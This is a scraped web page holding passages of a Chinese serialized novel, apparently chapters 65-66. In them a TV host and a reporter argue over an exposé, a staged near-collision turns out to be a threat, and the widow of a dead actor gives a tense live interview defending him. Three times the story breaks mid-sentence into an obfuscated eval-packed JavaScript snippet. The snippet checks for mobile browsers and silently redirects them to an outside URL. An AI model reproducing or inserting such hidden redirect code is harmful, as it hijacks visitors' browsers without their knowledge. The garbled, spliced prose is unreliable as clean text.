;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258839|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,又补充道:“明天我去接你出院吧。” “不用了,你剧组那边离医院很远,收工后好好休息吧。”邵聿的声音里终于带上了一丝笑意,慵懒的声音回荡在这个夜晚,安眠曲进行到了尾声,可他们两人都毫无困意。 “晚安。”他挂断了电话,手指触碰到屏幕才发现,指尖早已变得麻木。 “知渺姐,知渺姐?”楚妍姝的声音把她从片刻的出神中拉回来,她满脸歉意地笑了笑,“抱歉,昨晚没有睡好,你刚刚和我说什么?” “你今天身体不舒服吗?”楚妍姝冲着身后的助理伸出手,助理立刻心领神会,把一面镜子放在了她的手中。 楚妍姝把镜子举到她的面前,“你的脸色看起来很白,要不你先休息一会儿,等开拍我再叫你。” 江知渺摇了摇头,“我没事,我们再对一遍台词吧,这段剧情挺重要的。” “好啊,我都可以。”楚妍姝还是忧心忡忡地观察着她的神色,“是不是因为昨天的那个新闻才……” 江知渺不置可否,但翻动剧本的手明显停滞了一下。 楚妍姝凑近了一小步,低声安慰道:“知渺姐,你千万别往心里去,那个冯炳就是一条疯狗,被抓住之后只会乱咬,他说的话不作数的。” 楚妍姝平日里说话做事一向乖巧,从来也没听她说过什么脏话粗话,突然冒出这样一句,江知渺倒是被她惊住了。 不过,想起辛雅的遭遇,她对这些所谓的金主抱有敌意,倒也正常。 “嗯,谢谢你。”她把剧本翻到马上要拍的那一条,刚要开始念第一句,就听楚妍姝叹了口气,“我也被这个柏霆宇害惨了,昨晚经纪人非要我发声明,澄清和他的绯闻,我跟他合作都是一年多以前的事了。” 江知渺同情地望着她,楚妍姝像是憋了一肚子苦水,找到了“同病相怜”的人,终于有机会倾吐。 “我跟经纪人说不用管,时间长了这些舆论自然就平息了,可他非说其他人都发了,我也得发。唉,因为那个冯炳一句话,昨晚好多人都不得安宁。” 她忽然用手掌轻轻捂住嘴,声音压得极低,“知渺姐,其实我觉得柏霆宇应该没做过这些事,他自己开工作室,能有什么资源给别人呀?就是不知道冯炳这么说是有什么依据,我跟柏霆宇拍戏的时候的确看他收工后总是神神秘秘的……” 被她这样一提醒,江知渺忽然想起她跟自己说过,她曾经听到柏霆宇对电话里的人叫“老板”,还是很恭敬的态度。 如果他真的位于资源的金字塔顶端,又怎么会需要用这种谦卑的态度去应承别人呢? “……你知道我最害怕什么吗?” “我怕被人看不起。” “知渺,你看得起我,真的太好了。” 杀青当晚柏霆宇的醉话不停地萦绕在耳边,她越来越无法说服自己,一个如此渴求他人光明正大认可的人,会利用资源去玩弄女孩吗? 可惜的是,柏霆宇已经永远地闭上了嘴巴,无法为自己辩解,旁人再也无法得知他的真实面目了。 “哎呀!”楚妍姝的助理默默地把手机递到她的面前,她刚一看到屏幕上的内容,不禁发出一声惊呼。 下一秒,她紧紧地拉住了江知渺的手臂,急切地告诉她:“柏霆宇的那个隐婚妻子,要接受国立电视台采访了!” 江知渺毫无波澜的眼眸让她顿时捂住了嘴,难以置信地盯着她,“知渺姐,你知道了?你……是你帮她找到电视台的?” 65. 担当 “你们听说了吗,柏霆宇的正牌妻子要上电视了!” “啊?她不是前段时间在咱们组里吗,后来突然消失,我还以为她回家了呢。” “我听说,她进咱们组是为了潜伏在江知渺身边,然后找机会杀了她!” “怎么可能?那她还跳出来给她挡刀子?” …… 自从程薇柔将接受国立电视台专访的消息发布,组里就炸开了锅。 江知渺只当没听见,她回想起那天程薇柔准备自杀前,曾经跟她说过,不想再让人随便点评他们的人生,因此希望调查立刻终止。 没想到仅仅过了十几天,她就不得不为了保护柏霆宇的名誉,而主动将一切曝光在世人面前。 “今晚的采访,要做你自己做!” 李璟意气冲冲地跨进综合部的办公区,直奔邵聿的桌子,把一打计划书甩到他的面前,“我们熬了这么多天,做出来的策划,你凭什么说改就改?” 她叉着腰冷笑了一声,“哦,我差点忘了,从职级上来说,您是主持人,我只是一个小小的记者,《对话》的总策划是您,当然也是您一个人说了算!” 刘恪辰悄悄把滑落到地上的计划书捡起来,被李璟意厉声喝住:“别动!” 她的目光在这师徒二人脸上来回移动,终于,像是明白了什么,捏着尖锐的嗓音说道:“怪不得刘恪辰专门提出,要让你挂总策划的名呢,我还以为是为了抢功,没想到是在这儿等着我呢!” 李璟意长长地叹出一口气,麻利地把工牌摘下来,拍到他的面前,“这个新闻,你想怎么做就怎么做吧!还有,黄金时段新闻主播的位置,你想坐就去坐,我不和你争,我争不过,这下你满意了吧?邵主持——邵主播!” 说完,在众目睽睽之下,李璟意转身就走。 “李璟意!”邵聿罕见地发了火,“你闹事也要看看现在是什么情况!” 他一把抓起李璟意的工牌,两步就迈到她的面前,“一个艺考生不明不白地就从楼上坠亡,另一个艺考生控诉自己受到了长期的潜规则,背后还有不知道多少个金主正心安理得地利用自己的权势伤害其他女孩。你现在跟我谈内部竞争,李璟意,你到底是来做新闻的还是来内斗的?” “我内斗?”李璟意被气笑了,“难道不是你一夜之间就推翻了整个策划案,非要去采访那个什么柏霆宇隐婚多年的老婆吗?你有什么立场说我?” “我有必须采访她的理由。”邵聿沉声说道:“你跟我来。” 他推开办公区旁的会议室木门,李璟意不情不愿地跟着他走进会议室,刘恪辰也轻手轻脚地跟了进去,随着大门轰然落锁,办公区的众人都松了一口气。 “给你五分钟,五分钟后我要去给台长交辞职信。”李璟意大剌剌地坐在正中央的椅子上,不耐烦地敲了敲桌面。 邵聿强行忍下怒火,坐在离她最远的位置上,沉声道:“是知渺来找我帮忙的。” 一石激起千层浪。 李璟意缓缓瞪大了双眼,“你是说,是程薇柔找到江知渺,江知渺还同意了帮她找电视台,为柏霆宇澄清?” 她非常清楚程薇柔对江知渺的态度,而且她相信江知渺也很清楚。 如果不是走投无路,程薇柔不可能来找自己老公爱着的另一个女人;同理,如果不是认为她真的有重要的话想说,江知渺也不可能同意在风口浪尖上帮她。 邵聿点了点头,没好气地说道:“现在你可以去递交辞呈了。” “等等!”李璟意摆摆手,对他话里话外的阴阳怪气视而不见,“程薇柔要说什么?她有实证吗?” “没有证据,她是来喊冤的。” 李璟意刚扬起来的眉眼又落了下来,“拿不出证据,这新闻我们怎么报?” “不需要她有证据”,邵聿将头后仰,靠在宽大的椅背上,椅子随着他的动作缓慢地小幅度转动,“把水搅浑,这就够了。” 李璟意困惑地眯起眼睛,就像一只警惕的野猫,过了片刻,恍然大悟似的拍案而起,开始在会议室里踱步。 “冯炳在落网时一口咬死柏霆宇,在那么紧急的时刻,不去狡辩而是拖一个死人下水,把公众的视线转移到他的身上,的确非常刻意,就像是要让这个死无对证的人替谁背锅。” 她顿住脚步,倒吸了一口凉气,“难道有人指使冯炳这样说?” 李璟意转过身,眉头紧蹙地望向邵聿,只见他摇了摇头,看上去也是毫无头绪的样子,“不管柏霆宇是不是他们中的一员,藏在死人身后的那些人才是我想揪出来的。” “所以你要让程薇柔出来喊冤,让背后的那些人不得不放弃这个庇护所,逼他们现形?”李璟意感慨道:“釜底抽薪,真是好手段。” “过奖了”,邵聿面无表情地接受了她的赞赏,“昨天知渺跟我提起采访程薇柔,才让我想到这个办法。” 李璟意知道自从一周前车祸之后,他们俩的关系有所缓和,但气头上听到他秀恩爱,还是忍不住翻了个白眼。 “那总策划挂名的事呢?你又有什么高见?”她双手抱在胸前,犀利地瞪着他。 邵聿偏过头,看了一眼刘恪辰,实习主持早就被他俩刚才气势汹汹的态势给吓傻了,此时只知道愣愣地眨眨眼。 他没办法,只好自己解释道:“那场车祸,你觉得也是巧合吗?” “什么?”李璟意脱口而出,“有人故意撞你?” 邵聿拿起手机点了几下,会议室里的屏幕立刻开始播放视频。 “这是车祸当时我的行车记录仪拍下的”,他操纵遥控器快进起来,“仔细看。” 强光由远及近,从隐约出现在画面里,到与邵聿的车擦肩而过,总时长不足十秒,车速极快,沉浸式的投影让李璟意看得触目惊心,背上冒起一层冷汗。 “当时的车速有每小时一百八十公里,不出意外的话,被这辆车迎面撞上,昨天应该是我的头七。” 李璟意狠狠地剜了他一眼,“一点也不好笑。” 邵聿把监控一帧一帧地退回到碰撞发生前两秒的位置,又播放了一遍,见李璟意仍是茫然地盯着屏幕,再次倒退、播放. 如此重复了五次,李璟意终于脚下一软,扶住了椅背。 监控视频还在向后播放,车祸后密闭车厢完全昏暗下来,在她的侧脸投下深沉的阴影。肩膀开始细微地颤抖,凌乱的气息交织在声音中。 “他们是故意擦肩而过的……邵聿,这是在威胁你?” “准确地说”,邵聿挑起嘴角,“是在威胁插手‘艺心’这件事的人。” “既然他们已经盯上你了,你还把自己的名字挂在总策划上,不是找死吗?” 李璟意掏出手机,快速滑动通讯录,“我现在就联系主任,跟他申请,把昨晚《对话》的人员表改掉。” “改成谁?” 邵聿冰冷的质问让李璟意蓦地停下了手上的动作,是啊,谁不害怕这场车祸发生在自己身上呢? 只是看着行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273066|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车记录仪,都觉得全身的血液凝固了,倘若真的身处其中,又该是多么地狱般的场景! “换成我,我老公是律师,他们不敢对我下手的。”她立刻编好了申请信息。 “那你女儿怎么办?”邵聿抬高音量,李璟意好像坐在了新闻直播间里,被他问得哑口无言。 “你女儿才四岁,本来就……”邵聿思考了几秒,“本来就需要人照顾,如果你出事了,谁来照顾她?” 李璟意手一抖,手机不小心回到了主屏幕,壁纸照片上,女儿戴着墨镜耍帅,嘴角却忍不住扬得很高,稚嫩的脸庞瞬间抚平了她内心的焦躁,却也让她陷入纠结。 “我就是总策划最合适的人选。” 邵聿坚定的语气让她无法反驳,她只能无力地抓了抓头发,问道:“这件事,你和知渺说了吗?” “我已经安排人去保护她了。” 李璟意反应了几秒,随即无奈地苦笑起来,“我倒不是担心他们拿知渺威胁你,她很聪明。但是,你有危险这件事,她知道吗?” 坦白来说,对于这个问题,邵聿也无法给出确切的回答。碰撞就发生在她的眼前,其中的蹊跷想必她也有所察觉,不然也不会让他在医院里住了一周,还对外散播他昏迷不醒的消息。 也正是这一周给了他喘息的机会,让他们能够有时间去仔细梳理与“艺心”有关的各种线索,开导何思尔,完成对她的采访,取得对冯炳最直接的指证,从而让昨天的《对话》顺利播出。 不过,江知渺对“艺心”事件的了解程度到底有多深,邵聿没有和她聊过,也不敢自作主张下定结论。 他们之间似乎仍然隔着一条小河,夜深了,探不清深浅,谁也不敢多迈出一步,就这样自欺欺人地沿着河两岸散步,哪怕那条河窄到两人伸出手就能牵住。 “不知情对她来说会更安全一些。” 李璟意点点头,经过邵聿身边时,从他面前拿走了自己的工牌,挂到脖子上。 “你不是要辞职吗?”邵聿挑起薄薄的眼皮,仰头望着她。 她心虚地清了清嗓子,双手插进裤兜,摆出一副若无其事的表情,“你这么闲,不用去准备采访吗?” 邵聿紧绷的脸色终于有所松动,他站起身,慢条斯理地扣上西装外套的两粒纽扣,毫不客气地安排起工作来。 “今晚八点开始直播,七点前完成两遍彩排,受访者下午三点到场,中午十二点前我要拿到采访提纲,你现在还有……” 邵聿缓了一口气,低头看了看手表,“两小时四十八分钟。” “哈?”李璟意目瞪口呆,“我给你写采访提纲?” “不然呢?要总策划自己写提纲吗,李记者?” 他把“记者”两个字咬得很重,用上了播音主持的发声腔调。李璟意顿时气得握紧了拳头,举到腰间,却又无可奈何地放了下来。 “行——都听总策划安排!” 她咬牙切齿地拉开木门,刚要摔门而出,可一想到刚才看过的车祸视频,还是忍住了怒火,大步流星地离开了综合部。 “恪辰”,邵聿的脸色突然阴沉下来,他一边向会议室外走,一边说道:“把柏霆宇接受过的所有采访找出来,视频、音频、文字都要。” “今晚我们要采访的不是程薇柔。” 刘恪辰正埋头在本子上记录他的要求,被他这句话说糊涂了,歪着头看向他。 “我们要采访的,是那个所有人都以为他已经永远闭上嘴的人。” 66. 表达 “倒计时准备:五、四、三、二、一、开始——” “当聚光灯照向阴霾,尘埃会显现出本来的形状。我们透过灯光看向舞台,舞台上的人们也透过灯光看向我们。我们选择谈论那些隐藏在聚光灯之外的真相,是因为每个公民都有权看清阴影的轮廓。” 黑暗的背景下,一束追光打向邵聿身后,镜头切向他的正脸,“晚上好,这里是《对话》。” “今晚,《对话》邀请了两位受访者,但只有一位受访者到场,我们为另一位缺席的受访者预留了这把椅子。” 镜头缓缓切向空椅子特写。 “或许语言能够讲述任何故事,但沉默,同样震耳欲聋。” 邵聿握住手卡,缓缓走向椅子对面,“程薇柔女士,您好。感谢您接受《对话》的专题访谈,也感谢您带来您的丈夫、柏霆宇先生的心声。” 直播间的骤然点亮,聚光灯失去本来的颜色,在超高亮度的映射下,邵聿的目光灼然坚毅。 编导魏然在导播室内,望着无数屏幕上邵聿的身影,不由得感慨起来,“聿哥今天真帅啊。” “那可不,聿哥可是天选的新闻人。”听到有人夸自己的师父,刘恪辰的尾巴都快翘到了天上。 “那个……”伍旸弱弱地开口,“采访提纲是意姐写的。” 导播室里所有人的目光瞬间锁定在他的身上,就连刘恪辰也措手不及。 “开场白不是”,李璟意抱着手,站在编导身后,扫了一圈大大小小几十块屏幕上的邵聿,“他自己写的,还不错。” 所有人的目光又齐刷刷地转向了她,魏然震惊地张大了张嘴,不小心被自己的唾液呛到,猛烈地咳嗽起来。 “咳咳,咳咳咳!切、切对面……”他好不容易平复下气息,握着对讲机,声音却还在发颤。 “程女士,请问您有什么话想对我们、对大众说?” 邵聿按照提前给她的采访提纲问出了第一个问题,这是特意为她设计的开放性问题。 程薇柔下意识抚摸着自己的腹部,低下头,视线垂在反光发亮的地板上。 “我想说……”她突然顿住了,一动不动地坐在那里,一个字也不说。 时间一秒一秒地划过,接近一分钟的沉默让导播室里的魏然坐不住了,他几次想要出声提醒,但看到邵聿沉着的神色,都克制下来。 终于,眼看就要闹出直播事故,他打开对讲机,准备提醒邵聿让她开口,可这时,程薇柔猛地抬起头来,一双泪眼中的倔强和委屈被镜头无限放大,沉重的情绪压得他们都喘不过气来。 “我想说,霆宇是无辜的!他不可能做出他们说的那种事情!” 她的肩膀随着剧烈的呼吸大幅度上下起伏,镜头始终对着她,观众直接看到她,但她只能看到对面邵聿的那张平静到几近冰冷的面孔。 仿佛一盆冷水迎面泼来,浇灭了那些喷薄而出的痛苦和冤屈,让她慢慢地平静下来。 “程女士,请问您这样说的依据是什么?” 李璟意死死地盯着屏幕,指尖无意中抠住掌心。屏幕上的女人眼睛快速眨动两下,随即像是扎瘪了的气球,缓缓窝进了椅子里。 “我相信他不是那样的人。” 导播室里的人们不约而同地发出一声哀叹,纷纷失望地摇着头。 没有任何依据,平白无故的伸冤,这种访谈放出去,只会让人们质疑国立电视台的专业性。 “我们上初中的时候,有男同学对支教老师开黄腔,为了让那个同学给老师道歉,他们还打了一架。”程薇柔转而对着正面的摄影机,回忆起当年的往事。 “切三号。”魏然指挥镜头迅速切换到邵聿一侧,彩排时已经和她叮嘱过不用看镜头,程薇柔突然直视过来的目光让他猝不及防。 “意姐,你们怎么想的,要采访柏霆宇的老婆啊?她这什么也说不出来啊,明天台长估计要发火了。”导播间里有同事问道。 “再等等。”李璟意的视线始终专注地看着屏幕上的两个人,尽管她的心里也在打鼓。 “程女士,您的意思是,您认为柏霆宇没有参与近期的娱乐圈丑闻事件,但没有任何证据?”邵聿耐心地等她从回忆里抽身回神,调整了一下坐姿,自然地问道。 这个问题并没有出现在交给邵聿的初版采访提纲里,李璟意握紧了拳头,她特意避开这个致命的问题,谁知邵聿竟然主动加上了,而程薇柔果然被问得满脸惊诧,窘迫得涨红了脸。 “我、我……”,程薇柔语无伦次起来,她捉摸不透眼前这个男人的用意,江知渺分明是说帮她寻找一个为柏霆宇澄清的平台,眼下的情形却似乎并非如此,倒像是故意让她难堪。 “据我了解,柏霆宇在男女关系方面一向绯闻缠身,近三年里,有关他的娱乐新闻一共出现过十八位不同的女性,其中十五位曾被拍到与他有同居行为。” 邵聿就像是在播报某些客观的数据统计,语调平缓,毫无波动。 难道这就是江知渺的目的吗?难道她和邵聿早就串通好,要把她和柏霆宇架在进退两难的死胡同里吗?好洗清她自己情杀的嫌疑? 演播室四面八方投射而来的白炽灯光让她几乎要睁不开眼睛,就像被人按进了水中,四周围了一圈人,无动于衷地看着她溺水的丑态。 而她的身边,连一枝可供喘息的浮木都没有。 小腹隐隐感受到抽痛,她的额头也渗出了大滴痛苦的汗珠,下唇被咬出了血,铁锈味混合着口红的人工香气,强烈的冲击在大脑中骤然爆发。 “你说这些是什么意思?”程薇柔干脆站起身来,走到邵聿面前,居高临下地俯视着他。 “那些绯闻难道就代表他十恶不赦,所有脏水就都可以泼在他的身上吗?” 程薇柔冷冷地笑道:“你们这些媒体只会歪曲事实,欺软怕硬。是,他是死了,没法亲口为自己辩驳,但这不代表你们可以随意去污蔑他的人格!” 她越说越激动,甚至转向正面的主机位,张开手臂作出演讲般的姿态。 魏然急得满头大汗,打开邵聿的频道对他吼道:“邵聿!控场啊!” 然而邵聿就像是没听见一样,宛如旁观者,安坐在椅子上,隐藏在灯光的边缘,冷静地看着她继续控诉。 “绯闻里说的就是事实吗?狗仔拍到的一两张照片就是真相吗?” 程薇柔的语调忽然尖锐起来,她蓦地扭过头,瞪着邵聿质问道:“我没有证据,难道冯炳就拿出了证据吗?” “没想到国立电视台的主持人,居然宁愿相信一个罪犯,也不相信一个刚刚失去丈夫的孕妇!” 说完这些,她的心情忽然舒畅了不少,补光灯仍然直直地扑向她的脸上,可她却强行睁大了眼睛,在演播室正中央毅然站立,毫不退让。 “邵聿,如果她继续说下去,我可就得切广告了。”魏然已经瘫在了椅子上,颓然地拿着对讲,“这已经是直播事故了,我也得为兄弟姐妹们的饭碗着想。” 始终安静地坐在侧面的邵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297309|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聿忽然站起身来,他低低的轻笑通过话筒传进导播间,也传进了程薇柔的耳返里。 她诧异地看着邵聿一步一步向她靠近,在距离她一米的位置停了下来,嘴角始终挂着体面礼貌的微笑,绅士地伸出右手,请她入座。 “程女士,感谢您的肺腑之言,我想,我们可以正式开始访谈了。” 一时间,台前幕后几十个人都愣住了,魏然原本仰头靠在椅背上,听到他的话瞬间跳了起来,叉着腰,脸快要贴到屏幕上。 等到程薇柔的眼神终于有所松动,跟着邵聿的指引坐回椅子上,他如释重负地长出了一口气,“哎呦——吓死我了!” 危机解除,工作人员们都跟着松了口气,魏然抓耳挠腮地想了半天,忽地一拍大腿,大声说道:“我明白了!” “程女士,您专程从老家赶到A市,能否请您说说此行的目的?” 话题回归到采访提纲上,魏然抹了一把额头上的冷汗,不住地摇头,“邵聿啊邵聿,真有你的……” “魏哥,聿哥这是,什么意思?”刘恪辰凑到他的身后问道。 魏然拍拍他的肩膀,“没看出来吗?小伙子,跟着你师父好好学吧。” “大约一个多月前,霆宇的奶奶去世了,临终前嘱咐我,一定要把她亲手编织的护身符送到他的手上。” 程薇柔低垂着眼眸,长发挡住了她的脸颊,只能从那双雾气蒙蒙的眼睛里窥见她的心绪。 “你现在是不是觉得,她和柏霆宇都挺可怜的?”魏然歪着头,对刘恪辰问道。 刘恪辰蹲在桌前,双手抓着桌沿,正投入地听她说话,被魏然一问,用力地点了点头。 “如果一上来就听她说这些,你会觉得他们可怜吗?” 刘恪辰摇了两下头,这才反应过来:原来方才发生的混乱也是邵聿的计划! 他故意用观众的视角提出质疑:没有证据,如何证明柏霆宇无辜? 同时借程薇柔之口给出反问式的回答:没有证据,为何不能证明柏霆宇无辜? 他先代表了观众,站到她的对立面,把矛盾冲突摆在面前,再用冲动的情绪直截了当地引起人们最原始的怀疑。 这些本该在节目播出后受到的非议,被他提前带到节目当中,既减轻了舆论对这期节目内容的质疑,又给了程薇柔一个无需顾忌观众反馈的平台,畅所欲言。 观众被目前纷繁的舆论影响,先入为主,往往带着“柏霆宇有罪”的观念去倾听,理所当然地会想到,她作为家属,一定会偏袒柏霆宇。 而程薇柔的一席肺腑之言,虽然不能彻底扭转观众的想法,却必然会削弱那些怀疑的根基,从而更容易去接受她带来的另一种可能性。 “这算哪门子新闻?”李璟意冷哼一声,“好好的《对话》,让他做成脱口秀了。” 刘恪辰将视线移回屏幕上,邵聿仍然带着淡淡的微笑,聆听着程薇柔的讲述。 他突然从师父那张似乎始终冷静自持的面孔上,读出了他深藏于心的想法。 ——他在表达。 即使没有任何主动的表述,但刘恪辰还是意识到,邵聿想要通过这个访谈向观众表达的内容:事情的真相,不会因为一个人的死去,而被彻底掩盖。 身为新闻人,他不能把自己的主观意志强加在新闻当中,但他仍然在潜移默化地塑造着观众的主观意志。 “新闻人不是事实豢养的鹦鹉。”刘恪辰正视着李璟意,反驳道:“而是盘旋在事实之上的雄鹰。”